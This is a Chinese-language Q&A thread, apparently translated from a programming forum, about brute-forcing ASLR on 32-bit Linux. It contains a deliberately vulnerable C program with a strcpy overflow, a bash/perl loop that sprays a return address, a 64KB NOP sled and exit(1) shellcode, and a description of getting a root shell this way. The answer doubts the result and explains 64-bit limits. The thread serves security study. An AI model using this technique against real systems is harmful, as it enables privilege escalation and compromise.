4

我刚刚阅读了有关地址空间布局随机化的内容，并尝试了一个非常简单的脚本来尝试暴力破解它。这是我用来测试一些东西的程序。

#include <stdio.h>
#include <string.h>

int main (int argc, char **argv)
{
    char buf[8];
    printf("&buf = %p\n", buf);
    if (argc > 1 && strcpy(buf, argv[1]));
    return 0;
}

我用这个命令编译它：

gcc -g -fno-stack-protector -o vul vul.c

我确保启用了 ASLR：

$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 2

然后，我想出了这个简单的脚本：

str=`perl -e 'print "\x40\xfa\xbb\xbf"x10 \
    . "\x90"x65536                        \
    . "\x31\xc0\x40\x89\xc3\xcd\x80"'`

while [ $? -ne 1 ]; do
    ./vul $str
done

格式是

return address many times | 64KB NOP slide | shellcode that runs exit(1)

运行此脚本几秒钟后，它会以我想要的错误代码 1 退出。我还尝试了其他调用 execv("/bin/sh", ...) 的 shellcode，我也成功了。

我觉得很奇怪，即使在返回地址之后也可以创建这么长的 NOP 幻灯片。我认为 ASLR 更有效，我错过了什么吗？是不是因为地址空间太小了？

编辑：我做了一些额外的研究，这是我发现的：

  • 我请朋友在他的 64b 计算机上运行此代码-m32 -z execstack，稍微更改返回地址后，他得到了相同的结果。

  • 即使我没有使用-z execstack，我还是设法执行了 shellcode。我通过使用不同的 shellcode 来确保这一点，这些 shellcode 都做了他们应该做的事情（即使是众所周知的场景chown root ./vul，，然后chmod +s ./vul运行的 shellcode，最后在生成的 shell 中返回“root”）。这很奇怪，因为告诉我可执行堆栈标志位未设置。有谁知道为什么？setreuid(0, 0)execv("/bin/sh", ...)whoamiexecstack -q ./vul

4

1 回答 1

1

首先，我有点惊讶你不需要将选项传递-z execstack给编译器来获取 shellcode 来执行exit(1).

此外，我猜您使用的是 32 位机器，因为您没有通过选项-m32来gcc获取 32 位代码。

最后，我确实运行了你的程序但没有成功（我等了几秒钟以上）。

所以，我对你的结论有点怀疑（除非你运行的是一个非常奇特的 Linux 系统或者可能很幸运）。

无论如何，有两件主要的事情你没有提到：

  1. 提供无限利用窗口的错误非常罕见。
  2. 大多数现代系统在 amd64（64 位）处理器上运行，这大大降低了命中 nop 区域的可能性。

您可以查看ASLR 维基百科页面上的“ ASLR 有效性”部分。

于 2013-04-19T19:57:38.870 回答